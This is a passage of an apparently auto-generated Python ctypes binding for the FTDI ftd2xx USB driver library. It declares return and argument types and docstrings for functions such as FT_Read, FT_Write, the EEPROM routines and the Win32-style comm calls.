FT_ListDevices(PVOID pArg1, PVOID pArg2, DWORD Flags)\n    .\\ftd2xx.h:379\"\"\"\nFT_Close = _library.FT_Close\nFT_Close.restype = FT_STATUS\n# FT_Close(ftHandle)\nFT_Close.argtypes = [FT_HANDLE]\nFT_Close.__doc__ = \\\n    \"\"\"FT_STATUS FT_Close(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:386\"\"\"\nFT_Read = _library.FT_Read\nFT_Read.restype = FT_STATUS\n# FT_Read(ftHandle, lpBuffer, dwBytesToRead, lpBytesReturned)\nFT_Read.argtypes = [FT_HANDLE, LPVOID, DWORD, LPDWORD]\nFT_Read.__doc__ = \\\n    \"\"\"FT_STATUS FT_Read(FT_HANDLE ftHandle, LPVOID lpBuffer, DWORD dwBytesToRead, LPDWORD lpBytesReturned)\n    .\\ftd2xx.h:391\"\"\"\nFT_Write = _library.FT_Write\nFT_Write.restype = FT_STATUS\n# FT_Write(ftHandle, lpBuffer, dwBytesToWrite, lpBytesWritten)\nFT_Write.argtypes = [FT_HANDLE, LPVOID, DWORD, LPDWORD]\nFT_Write.__doc__ = \\\n    \"\"\"FT_STATUS FT_Write(FT_HANDLE ftHandle, LPVOID lpBuffer, DWORD dwBytesToWrite, LPDWORD lpBytesWritten)\n    .\\ftd2xx.h:399\"\"\"\nFT_IoCtl = _library.FT_IoCtl\nFT_IoCtl.restype = FT_STATUS\n# FT_IoCtl(ftHandle, dwIoControlCode, lpInBuf, nInBufSize, lpOutBuf, nOutBufSize, lpBytesReturned, lpOverlapped)\nFT_IoCtl.argtypes = [FT_HANDLE, DWORD, LPVOID, DWORD, LPVOID, DWORD, LPDWORD, LPOVERLAPPED]\nFT_IoCtl.__doc__ = \\\n    \"\"\"FT_STATUS FT_IoCtl(FT_HANDLE ftHandle, DWORD dwIoControlCode, LPVOID lpInBuf, DWORD nInBufSize, LPVOID lpOutBuf, DWORD nOutBufSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped)\n    .\\ftd2xx.h:407\"\"\"\nFT_SetBaudRate = _library.FT_SetBaudRate\nFT_SetBaudRate.restype = FT_STATUS\n# FT_SetBaudRate(ftHandle, BaudRate)\nFT_SetBaudRate.argtypes = [FT_HANDLE, ULONG]\nFT_SetBaudRate.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetBaudRate(FT_HANDLE ftHandle, ULONG BaudRate)\n    .\\ftd2xx.h:419\"\"\"\nFT_SetDivisor = _library.FT_SetDivisor\nFT_SetDivisor.restype = FT_STATUS\n# FT_SetDivisor(ftHandle, Divisor)\nFT_SetDivisor.argtypes = [FT_HANDLE, USHORT]\nFT_SetDivisor.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetDivisor(FT_HANDLE ftHandle, USHORT Divisor)\n    .\\ftd2xx.h:425\"\"\"\nFT_SetDataCharacteristics = _library.FT_SetDataCharacteristics\nFT_SetDataCharacteristics.restype = FT_STATUS\n# FT_SetDataCharacteristics(ftHandle, WordLength, StopBits, Parity)\nFT_SetDataCharacteristics.argtypes = [FT_HANDLE, UCHAR, UCHAR, UCHAR]\nFT_SetDataCharacteristics.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetDataCharacteristics(FT_HANDLE ftHandle, UCHAR WordLength, UCHAR StopBits, UCHAR Parity)\n    .\\ftd2xx.h:431\"\"\"\nFT_SetFlowControl = _library.FT_SetFlowControl\nFT_SetFlowControl.restype = FT_STATUS\n# FT_SetFlowControl(ftHandle, FlowControl, XonChar, XoffChar)\nFT_SetFlowControl.argtypes = [FT_HANDLE, USHORT, UCHAR, UCHAR]\nFT_SetFlowControl.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetFlowControl(FT_HANDLE ftHandle, USHORT FlowControl, UCHAR XonChar, UCHAR XoffChar)\n    .\\ftd2xx.h:439\"\"\"\nFT_ResetDevice = _library.FT_ResetDevice\nFT_ResetDevice.restype = FT_STATUS\n# FT_ResetDevice(ftHandle)\nFT_ResetDevice.argtypes = [FT_HANDLE]\nFT_ResetDevice.__doc__ = \\\n    \"\"\"FT_STATUS FT_ResetDevice(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:447\"\"\"\nFT_SetDtr = _library.FT_SetDtr\nFT_SetDtr.restype = FT_STATUS\n# FT_SetDtr(ftHandle)\nFT_SetDtr.argtypes = [FT_HANDLE]\nFT_SetDtr.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetDtr(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:452\"\"\"\nFT_ClrDtr = _library.FT_ClrDtr\nFT_ClrDtr.restype = FT_STATUS\n# FT_ClrDtr(ftHandle)\nFT_ClrDtr.argtypes = [FT_HANDLE]\nFT_ClrDtr.__doc__ = \\\n    \"\"\"FT_STATUS FT_ClrDtr(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:457\"\"\"\nFT_SetRts = _library.FT_SetRts\nFT_SetRts.restype = FT_STATUS\n# FT_SetRts(ftHandle)\nFT_SetRts.argtypes = [FT_HANDLE]\nFT_SetRts.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetRts(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:462\"\"\"\nFT_ClrRts = _library.FT_ClrRts\nFT_ClrRts.restype = FT_STATUS\n# FT_ClrRts(ftHandle)\nFT_ClrRts.argtypes = [FT_HANDLE]\nFT_ClrRts.__doc__ = \\\n    \"\"\"FT_STATUS FT_ClrRts(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:467\"\"\"\nFT_GetModemStatus = _library.FT_GetModemStatus\nFT_GetModemStatus.restype = FT_STATUS\n# FT_GetModemStatus(ftHandle, pModemStatus)\nFT_GetModemStatus.argtypes = [FT_HANDLE, _ctypes.POINTER(_ctypes.c_uint32)]\nFT_GetModemStatus.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetModemStatus(FT_HANDLE ftHandle, LP_ctypes_uint32 pModemStatus)\n    .\\ftd2xx.h:472\"\"\"\nFT_SetChars = _library.FT_SetChars\nFT_SetChars.restype = FT_STATUS\n# FT_SetChars(ftHandle, EventChar, EventCharEnabled, ErrorChar, ErrorCharEnabled)\nFT_SetChars.argtypes = [FT_HANDLE, UCHAR, UCHAR, UCHAR, UCHAR]\nFT_SetChars.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetChars(FT_HANDLE ftHandle, UCHAR EventChar, UCHAR EventCharEnabled, UCHAR ErrorChar, UCHAR ErrorCharEnabled)\n    .\\ftd2xx.h:478\"\"\"\nFT_Purge = _library.FT_Purge\nFT_Purge.restype = FT_STATUS\n# FT_Purge(ftHandle, Mask)\nFT_Purge.argtypes = [FT_HANDLE, ULONG]\nFT_Purge.__doc__ = \\\n    \"\"\"FT_STATUS FT_Purge(FT_HANDLE ftHandle, ULONG Mask)\n    .\\ftd2xx.h:487\"\"\"\nFT_SetTimeouts = _library.FT_SetTimeouts\nFT_SetTimeouts.restype = FT_STATUS\n# FT_SetTimeouts(ftHandle, ReadTimeout, WriteTimeout)\nFT_SetTimeouts.argtypes = [FT_HANDLE, ULONG, ULONG]\nFT_SetTimeouts.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetTimeouts(FT_HANDLE ftHandle, ULONG ReadTimeout, ULONG WriteTimeout)\n    .\\ftd2xx.h:493\"\"\"\nFT_GetQueueStatus = _library.FT_GetQueueStatus\nFT_GetQueueStatus.restype = FT_STATUS\n# FT_GetQueueStatus(ftHandle, dwRxBytes)\nFT_GetQueueStatus.argtypes = [FT_HANDLE, _ctypes.POINTER(_ctypes.c_uint32)]\nFT_GetQueueStatus.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetQueueStatus(FT_HANDLE ftHandle, LP_ctypes_uint32 dwRxBytes)\n    .\\ftd2xx.h:500\"\"\"\nFT_SetEventNotification = _library.FT_SetEventNotification\nFT_SetEventNotification.restype = FT_STATUS\n# FT_SetEventNotification(ftHandle, Mask, Param)\nFT_SetEventNotification.argtypes = [FT_HANDLE, DWORD, PVOID]\nFT_SetEventNotification.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetEventNotification(FT_HANDLE ftHandle, DWORD Mask, PVOID Param)\n    .\\ftd2xx.h:506\"\"\"\nFT_GetStatus = _library.FT_GetStatus\nFT_GetStatus.restype = FT_STATUS\n# FT_GetStatus(ftHandle, dwRxBytes, dwTxBytes, dwEventDWord)\nFT_GetStatus.argtypes = [FT_HANDLE, _ctypes.POINTER(_ctypes.c_uint32), _ctypes.POINTER(_ctypes.c_uint32), _ctypes.POINTER(_ctypes.c_uint32)]\nFT_GetStatus.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetStatus(FT_HANDLE ftHandle, LP_ctypes_uint32 dwRxBytes, LP_ctypes_uint32 dwTxBytes, LP_ctypes_uint32 dwEventDWord)\n    .\\ftd2xx.h:513\"\"\"\nFT_SetBreakOn = _library.FT_SetBreakOn\nFT_SetBreakOn.restype = FT_STATUS\n# FT_SetBreakOn(ftHandle)\nFT_SetBreakOn.argtypes = [FT_HANDLE]\nFT_SetBreakOn.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetBreakOn(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:521\"\"\"\nFT_SetBreakOff = _library.FT_SetBreakOff\nFT_SetBreakOff.restype = FT_STATUS\n# FT_SetBreakOff(ftHandle)\nFT_SetBreakOff.argtypes = [FT_HANDLE]\nFT_SetBreakOff.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetBreakOff(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:526\"\"\"\nFT_SetWaitMask = _library.FT_SetWaitMask\nFT_SetWaitMask.restype = FT_STATUS\n# FT_SetWaitMask(ftHandle, Mask)\nFT_SetWaitMask.argtypes = [FT_HANDLE, DWORD]\nFT_SetWaitMask.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetWaitMask(FT_HANDLE ftHandle, DWORD Mask)\n    .\\ftd2xx.h:531\"\"\"\nFT_WaitOnMask = _library.FT_WaitOnMask\nFT_WaitOnMask.restype = FT_STATUS\n# FT_WaitOnMask(ftHandle, Mask)\nFT_WaitOnMask.argtypes = [FT_HANDLE, _ctypes.POINTER(_ctypes.c_uint32)]\nFT_WaitOnMask.__doc__ = \\\n    \"\"\"FT_STATUS FT_WaitOnMask(FT_HANDLE ftHandle, LP_ctypes_uint32 Mask)\n    .\\ftd2xx.h:537\"\"\"\nFT_GetEventStatus = _library.FT_GetEventStatus\nFT_GetEventStatus.restype = FT_STATUS\n# FT_GetEventStatus(ftHandle, dwEventDWord)\nFT_GetEventStatus.argtypes = [FT_HANDLE, _ctypes.POINTER(_ctypes.c_uint32)]\nFT_GetEventStatus.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetEventStatus(FT_HANDLE ftHandle, LP_ctypes_uint32 dwEventDWord)\n    .\\ftd2xx.h:543\"\"\"\nFT_ReadEE = _library.FT_ReadEE\nFT_ReadEE.restype = FT_STATUS\n# FT_ReadEE(ftHandle, dwWordOffset, lpwValue)\nFT_ReadEE.argtypes = [FT_HANDLE, DWORD, LPWORD]\nFT_ReadEE.__doc__ = \\\n    \"\"\"FT_STATUS FT_ReadEE(FT_HANDLE ftHandle, DWORD dwWordOffset, LPWORD lpwValue)\n    .\\ftd2xx.h:549\"\"\"\nFT_WriteEE = _library.FT_WriteEE\nFT_WriteEE.restype = FT_STATUS\n# FT_WriteEE(ftHandle, dwWordOffset, wValue)\nFT_WriteEE.argtypes = [FT_HANDLE, DWORD, WORD]\nFT_WriteEE.__doc__ = \\\n    \"\"\"FT_STATUS FT_WriteEE(FT_HANDLE ftHandle, DWORD dwWordOffset, WORD wValue)\n    .\\ftd2xx.h:556\"\"\"\nFT_EraseEE = _library.FT_EraseEE\nFT_EraseEE.restype = FT_STATUS\n# FT_EraseEE(ftHandle)\nFT_EraseEE.argtypes = [FT_HANDLE]\nFT_EraseEE.__doc__ = \\\n    \"\"\"FT_STATUS FT_EraseEE(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:563\"\"\"\nFT_EE_Program = _library.FT_EE_Program\nFT_EE_Program.restype = FT_STATUS\n# FT_EE_Program(ftHandle, pData)\nFT_EE_Program.argtypes = [FT_HANDLE, PFT_PROGRAM_DATA]\nFT_EE_Program.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_Program(FT_HANDLE ftHandle, PFT_PROGRAM_DATA pData)\n    .\\ftd2xx.h:732\"\"\"\nFT_EE_ProgramEx = _library.FT_EE_ProgramEx\nFT_EE_ProgramEx.restype = FT_STATUS\n# FT_EE_ProgramEx(ftHandle, pData, Manufacturer, ManufacturerId, Description, SerialNumber)\nFT_EE_ProgramEx.argtypes = [FT_HANDLE, PFT_PROGRAM_DATA, STRING, STRING, STRING, STRING]\nFT_EE_ProgramEx.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_ProgramEx(FT_HANDLE ftHandle, PFT_PROGRAM_DATA pData, LP_ctypes_ctypeshar Manufacturer, LP_ctypes_ctypeshar ManufacturerId, LP_ctypes_ctypeshar Description, LP_ctypes_ctypeshar SerialNumber)\n    .\\ftd2xx.h:738\"\"\"\nFT_EE_Read = _library.FT_EE_Read\nFT_EE_Read.restype = FT_STATUS\n# FT_EE_Read(ftHandle, pData)\nFT_EE_Read.argtypes = [FT_HANDLE, PFT_PROGRAM_DATA]\nFT_EE_Read.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_Read(FT_HANDLE ftHandle, PFT_PROGRAM_DATA pData)\n    .\\ftd2xx.h:748\"\"\"\nFT_EE_ReadEx = _library.FT_EE_ReadEx\nFT_EE_ReadEx.restype = FT_STATUS\n# FT_EE_ReadEx(ftHandle, pData, Manufacturer, ManufacturerId, Description, SerialNumber)\nFT_EE_ReadEx.argtypes = [FT_HANDLE, PFT_PROGRAM_DATA, STRING, STRING, STRING, STRING]\nFT_EE_ReadEx.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_ReadEx(FT_HANDLE ftHandle, PFT_PROGRAM_DATA pData, LP_ctypes_ctypeshar Manufacturer, LP_ctypes_ctypeshar ManufacturerId, LP_ctypes_ctypeshar Description, LP_ctypes_ctypeshar SerialNumber)\n    .\\ftd2xx.h:754\"\"\"\nFT_EE_UASize = _library.FT_EE_UASize\nFT_EE_UASize.restype = FT_STATUS\n# FT_EE_UASize(ftHandle, lpdwSize)\nFT_EE_UASize.argtypes = [FT_HANDLE, LPDWORD]\nFT_EE_UASize.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_UASize(FT_HANDLE ftHandle, LPDWORD lpdwSize)\n    .\\ftd2xx.h:764\"\"\"\nFT_EE_UAWrite = _library.FT_EE_UAWrite\nFT_EE_UAWrite.restype = FT_STATUS\n# FT_EE_UAWrite(ftHandle, pucData, dwDataLen)\nFT_EE_UAWrite.argtypes = [FT_HANDLE, PUCHAR, DWORD]\nFT_EE_UAWrite.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_UAWrite(FT_HANDLE ftHandle, PUCHAR pucData, DWORD dwDataLen)\n    .\\ftd2xx.h:770\"\"\"\nFT_EE_UARead = _library.FT_EE_UARead\nFT_EE_UARead.restype = FT_STATUS\n# FT_EE_UARead(ftHandle, pucData, dwDataLen, lpdwBytesRead)\nFT_EE_UARead.argtypes = [FT_HANDLE, PUCHAR, DWORD, LPDWORD]\nFT_EE_UARead.__doc__ = \\\n    \"\"\"FT_STATUS FT_EE_UARead(FT_HANDLE ftHandle, PUCHAR pucData, DWORD dwDataLen, LPDWORD lpdwBytesRead)\n    .\\ftd2xx.h:777\"\"\"\nFT_EEPROM_Read = _library.FT_EEPROM_Read\nFT_EEPROM_Read.restype = FT_STATUS\n# FT_EEPROM_Read(ftHandle, eepromData, eepromDataSize, Manufacturer, ManufacturerId, Description, SerialNumber)\nFT_EEPROM_Read.argtypes = [FT_HANDLE, _ctypes.POINTER(None), DWORD, STRING, STRING, STRING, STRING]\nFT_EEPROM_Read.__doc__ = \\\n    \"\"\"FT_STATUS FT_EEPROM_Read(FT_HANDLE ftHandle, LP_None eepromData, DWORD eepromDataSize, LP_ctypes_ctypeshar Manufacturer, LP_ctypes_ctypeshar ManufacturerId, LP_ctypes_ctypeshar Description, LP_ctypes_ctypeshar SerialNumber)\n    .\\ftd2xx.h:1000\"\"\"\nFT_EEPROM_Program = _library.FT_EEPROM_Program\nFT_EEPROM_Program.restype = FT_STATUS\n# FT_EEPROM_Program(ftHandle, eepromData, eepromDataSize, Manufacturer, ManufacturerId, Description, SerialNumber)\nFT_EEPROM_Program.argtypes = [FT_HANDLE, _ctypes.POINTER(None), DWORD, STRING, STRING, STRING, STRING]\nFT_EEPROM_Program.__doc__ = \\\n    \"\"\"FT_STATUS FT_EEPROM_Program(FT_HANDLE ftHandle, LP_None eepromData, DWORD eepromDataSize, LP_ctypes_ctypeshar Manufacturer, LP_ctypes_ctypeshar ManufacturerId, LP_ctypes_ctypeshar Description, LP_ctypes_ctypeshar SerialNumber)\n    .\\ftd2xx.h:1012\"\"\"\nFT_SetLatencyTimer = _library.FT_SetLatencyTimer\nFT_SetLatencyTimer.restype = FT_STATUS\n# FT_SetLatencyTimer(ftHandle, ucLatency)\nFT_SetLatencyTimer.argtypes = [FT_HANDLE, UCHAR]\nFT_SetLatencyTimer.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetLatencyTimer(FT_HANDLE ftHandle, UCHAR ucLatency)\n    .\\ftd2xx.h:1024\"\"\"\nFT_GetLatencyTimer = _library.FT_GetLatencyTimer\nFT_GetLatencyTimer.restype = FT_STATUS\n# FT_GetLatencyTimer(ftHandle, pucLatency)\nFT_GetLatencyTimer.argtypes = [FT_HANDLE, PUCHAR]\nFT_GetLatencyTimer.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetLatencyTimer(FT_HANDLE ftHandle, PUCHAR pucLatency)\n    .\\ftd2xx.h:1030\"\"\"\nFT_SetBitMode = _library.FT_SetBitMode\nFT_SetBitMode.restype = FT_STATUS\n# FT_SetBitMode(ftHandle, ucMask, ucEnable)\nFT_SetBitMode.argtypes = [FT_HANDLE, UCHAR, UCHAR]\nFT_SetBitMode.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetBitMode(FT_HANDLE ftHandle, UCHAR ucMask, UCHAR ucEnable)\n    .\\ftd2xx.h:1036\"\"\"\nFT_GetBitMode = _library.FT_GetBitMode\nFT_GetBitMode.restype = FT_STATUS\n# FT_GetBitMode(ftHandle, pucMode)\nFT_GetBitMode.argtypes = [FT_HANDLE, PUCHAR]\nFT_GetBitMode.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetBitMode(FT_HANDLE ftHandle, PUCHAR pucMode)\n    .\\ftd2xx.h:1043\"\"\"\nFT_SetUSBParameters = _library.FT_SetUSBParameters\nFT_SetUSBParameters.restype = FT_STATUS\n# FT_SetUSBParameters(ftHandle, ulInTransferSize, ulOutTransferSize)\nFT_SetUSBParameters.argtypes = [FT_HANDLE, ULONG, ULONG]\nFT_SetUSBParameters.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetUSBParameters(FT_HANDLE ftHandle, ULONG ulInTransferSize, ULONG ulOutTransferSize)\n    .\\ftd2xx.h:1049\"\"\"\nFT_SetDeadmanTimeout = _library.FT_SetDeadmanTimeout\nFT_SetDeadmanTimeout.restype = FT_STATUS\n# FT_SetDeadmanTimeout(ftHandle, ulDeadmanTimeout)\nFT_SetDeadmanTimeout.argtypes = [FT_HANDLE, ULONG]\nFT_SetDeadmanTimeout.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetDeadmanTimeout(FT_HANDLE ftHandle, ULONG ulDeadmanTimeout)\n    .\\ftd2xx.h:1056\"\"\"\nFT_GetDeviceInfo = _library.FT_GetDeviceInfo\nFT_GetDeviceInfo.restype = FT_STATUS\n# FT_GetDeviceInfo(ftHandle, lpftDevice, lpdwID, SerialNumber, Description, Dummy)\nFT_GetDeviceInfo.argtypes = [FT_HANDLE, _ctypes.POINTER(_ctypes.c_uint32), LPDWORD, PCHAR, PCHAR, LPVOID]\nFT_GetDeviceInfo.__doc__ = \\\n    \"\"\"FT_STATUS FT_GetDeviceInfo(FT_HANDLE ftHandle, LP_ctypes_uint32 lpftDevice, LPDWORD lpdwID, PCHAR SerialNumber, PCHAR Description, LPVOID Dummy)\n    .\\ftd2xx.h:1085\"\"\"\nFT_StopInTask = _library.FT_StopInTask\nFT_StopInTask.restype = FT_STATUS\n# FT_StopInTask(ftHandle)\nFT_StopInTask.argtypes = [FT_HANDLE]\nFT_StopInTask.__doc__ = \\\n    \"\"\"FT_STATUS FT_StopInTask(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1095\"\"\"\nFT_RestartInTask = _library.FT_RestartInTask\nFT_RestartInTask.restype = FT_STATUS\n# FT_RestartInTask(ftHandle)\nFT_RestartInTask.argtypes = [FT_HANDLE]\nFT_RestartInTask.__doc__ = \\\n    \"\"\"FT_STATUS FT_RestartInTask(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1100\"\"\"\nFT_SetResetPipeRetryCount = _library.FT_SetResetPipeRetryCount\nFT_SetResetPipeRetryCount.restype = FT_STATUS\n# FT_SetResetPipeRetryCount(ftHandle, dwCount)\nFT_SetResetPipeRetryCount.argtypes = [FT_HANDLE, DWORD]\nFT_SetResetPipeRetryCount.__doc__ = \\\n    \"\"\"FT_STATUS FT_SetResetPipeRetryCount(FT_HANDLE ftHandle, DWORD dwCount)\n    .\\ftd2xx.h:1105\"\"\"\nFT_ResetPort = _library.FT_ResetPort\nFT_ResetPort.restype = FT_STATUS\n# FT_ResetPort(ftHandle)\nFT_ResetPort.argtypes = [FT_HANDLE]\nFT_ResetPort.__doc__ = \\\n    \"\"\"FT_STATUS FT_ResetPort(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1111\"\"\"\nFT_CyclePort = _library.FT_CyclePort\nFT_CyclePort.restype = FT_STATUS\n# FT_CyclePort(ftHandle)\nFT_CyclePort.argtypes = [FT_HANDLE]\nFT_CyclePort.__doc__ = \\\n    \"\"\"FT_STATUS FT_CyclePort(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1116\"\"\"\nFT_W32_CreateFile = _library.FT_W32_CreateFile\nFT_W32_CreateFile.restype = FT_HANDLE\n# FT_W32_CreateFile(lpszName, dwAccess, dwShareMode, lpSecurityAttributes, dwCreate, dwAttrsAndFlags, hTemplate)\nFT_W32_CreateFile.argtypes = [LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE]\nFT_W32_CreateFile.__doc__ = \\\n    \"\"\"FT_HANDLE FT_W32_CreateFile(LPCTSTR lpszName, DWORD dwAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreate, DWORD dwAttrsAndFlags, HANDLE hTemplate)\n    .\\ftd2xx.h:1126\"\"\"\nFT_W32_CloseHandle = _library.FT_W32_CloseHandle\nFT_W32_CloseHandle.restype = BOOL\n# FT_W32_CloseHandle(ftHandle)\nFT_W32_CloseHandle.argtypes = [FT_HANDLE]\nFT_W32_CloseHandle.__doc__ = \\\n    \"\"\"BOOL FT_W32_CloseHandle(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1137\"\"\"\nFT_W32_ReadFile = _library.FT_W32_ReadFile\nFT_W32_ReadFile.restype = BOOL\n# FT_W32_ReadFile(ftHandle, lpBuffer, nBufferSize, lpBytesReturned, lpOverlapped)\nFT_W32_ReadFile.argtypes = [FT_HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED]\nFT_W32_ReadFile.__doc__ = \\\n    \"\"\"BOOL FT_W32_ReadFile(FT_HANDLE ftHandle, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesReturned, LPOVERLAPPED lpOverlapped)\n    .\\ftd2xx.h:1142\"\"\"\nFT_W32_WriteFile = _library.FT_W32_WriteFile\nFT_W32_WriteFile.restype = BOOL\n# FT_W32_WriteFile(ftHandle, lpBuffer, nBufferSize, lpBytesWritten, lpOverlapped)\nFT_W32_WriteFile.argtypes = [FT_HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED]\nFT_W32_WriteFile.__doc__ = \\\n    \"\"\"BOOL FT_W32_WriteFile(FT_HANDLE ftHandle, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesWritten, LPOVERLAPPED lpOverlapped)\n    .\\ftd2xx.h:1151\"\"\"\nFT_W32_GetLastError = _library.FT_W32_GetLastError\nFT_W32_GetLastError.restype = DWORD\n# FT_W32_GetLastError(ftHandle)\nFT_W32_GetLastError.argtypes = [FT_HANDLE]\nFT_W32_GetLastError.__doc__ = \\\n    \"\"\"DWORD FT_W32_GetLastError(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1160\"\"\"\nFT_W32_GetOverlappedResult = _library.FT_W32_GetOverlappedResult\nFT_W32_GetOverlappedResult.restype = BOOL\n# FT_W32_GetOverlappedResult(ftHandle, lpOverlapped, lpdwBytesTransferred, bWait)\nFT_W32_GetOverlappedResult.argtypes = [FT_HANDLE, LPOVERLAPPED, LPDWORD, BOOL]\nFT_W32_GetOverlappedResult.__doc__ = \\\n    \"\"\"BOOL FT_W32_GetOverlappedResult(FT_HANDLE ftHandle, LPOVERLAPPED lpOverlapped, LPDWORD lpdwBytesTransferred, BOOL bWait)\n    .\\ftd2xx.h:1165\"\"\"\nFT_W32_CancelIo = _library.FT_W32_CancelIo\nFT_W32_CancelIo.restype = BOOL\n# FT_W32_CancelIo(ftHandle)\nFT_W32_CancelIo.argtypes = [FT_HANDLE]\nFT_W32_CancelIo.__doc__ = \\\n    \"\"\"BOOL FT_W32_CancelIo(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1173\"\"\"\nFT_W32_ClearCommBreak = _library.FT_W32_ClearCommBreak\nFT_W32_ClearCommBreak.restype = BOOL\n# FT_W32_ClearCommBreak(ftHandle)\nFT_W32_ClearCommBreak.argtypes = [FT_HANDLE]\nFT_W32_ClearCommBreak.__doc__ = \\\n    \"\"\"BOOL FT_W32_ClearCommBreak(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1235\"\"\"\nFT_W32_ClearCommError = _library.FT_W32_ClearCommError\nFT_W32_ClearCommError.restype = BOOL\n# FT_W32_ClearCommError(ftHandle, lpdwErrors, lpftComstat)\nFT_W32_ClearCommError.argtypes = [FT_HANDLE, LPDWORD, LPFTCOMSTAT]\nFT_W32_ClearCommError.__doc__ = \\\n    \"\"\"BOOL FT_W32_ClearCommError(FT_HANDLE ftHandle, LPDWORD lpdwErrors, LPFTCOMSTAT lpftComstat)\n    .\\ftd2xx.h:1240\"\"\"\nFT_W32_EscapeCommFunction = _library.FT_W32_EscapeCommFunction\nFT_W32_EscapeCommFunction.restype = BOOL\n# FT_W32_EscapeCommFunction(ftHandle, dwFunc)\nFT_W32_EscapeCommFunction.argtypes = [FT_HANDLE, DWORD]\nFT_W32_EscapeCommFunction.__doc__ = \\\n    \"\"\"BOOL FT_W32_EscapeCommFunction(FT_HANDLE ftHandle, DWORD dwFunc)\n    .\\ftd2xx.h:1247\"\"\"\nFT_W32_GetCommModemStatus = _library.FT_W32_GetCommModemStatus\nFT_W32_GetCommModemStatus.restype = BOOL\n# FT_W32_GetCommModemStatus(ftHandle, lpdwModemStatus)\nFT_W32_GetCommModemStatus.argtypes = [FT_HANDLE, LPDWORD]\nFT_W32_GetCommModemStatus.__doc__ = \\\n    \"\"\"BOOL FT_W32_GetCommModemStatus(FT_HANDLE ftHandle, LPDWORD lpdwModemStatus)\n    .\\ftd2xx.h:1253\"\"\"\nFT_W32_GetCommState = _library.FT_W32_GetCommState\nFT_W32_GetCommState.restype = BOOL\n# FT_W32_GetCommState(ftHandle, lpftDcb)\nFT_W32_GetCommState.argtypes = [FT_HANDLE, LPFTDCB]\nFT_W32_GetCommState.__doc__ = \\\n    \"\"\"BOOL FT_W32_GetCommState(FT_HANDLE ftHandle, LPFTDCB lpftDcb)\n    .\\ftd2xx.h:1259\"\"\"\nFT_W32_GetCommTimeouts = _library.FT_W32_GetCommTimeouts\nFT_W32_GetCommTimeouts.restype = BOOL\n# FT_W32_GetCommTimeouts(ftHandle, pTimeouts)\nFT_W32_GetCommTimeouts.argtypes = [FT_HANDLE, _ctypes.POINTER(struct__FTTIMEOUTS)]\nFT_W32_GetCommTimeouts.__doc__ = \\\n    \"\"\"BOOL FT_W32_GetCommTimeouts(FT_HANDLE ftHandle, LP_struct__FTTIMEOUTS pTimeouts)\n    .\\ftd2xx.h:1265\"\"\"\nFT_W32_PurgeComm = _library.FT_W32_PurgeComm\nFT_W32_PurgeComm.restype = BOOL\n# FT_W32_PurgeComm(ftHandle, dwMask)\nFT_W32_PurgeComm.argtypes = [FT_HANDLE, DWORD]\nFT_W32_PurgeComm.__doc__ = \\\n    \"\"\"BOOL FT_W32_PurgeComm(FT_HANDLE ftHandle, DWORD dwMask)\n    .\\ftd2xx.h:1271\"\"\"\nFT_W32_SetCommBreak = _library.FT_W32_SetCommBreak\nFT_W32_SetCommBreak.restype = BOOL\n# FT_W32_SetCommBreak(ftHandle)\nFT_W32_SetCommBreak.argtypes = [FT_HANDLE]\nFT_W32_SetCommBreak.__doc__ = \\\n    \"\"\"BOOL FT_W32_SetCommBreak(FT_HANDLE ftHandle)\n    .\\ftd2xx.h:1277\"\"\"\nFT_W32_SetCommMask = _library.FT_W32_SetCommMask\nFT_W32_SetCommMask.restype = BOOL\n# FT_W32_SetCommMask(ftHandle, ulEventMask)\nFT_W32_SetCommMask.argtypes = [FT_HANDLE, ULONG]\nFT_W32_SetCommMask.__doc__ = \\\n    \"\"\"BOOL FT_W32_SetCommMask(FT_HANDLE ftHandle, ULONG ulEventMask)\n    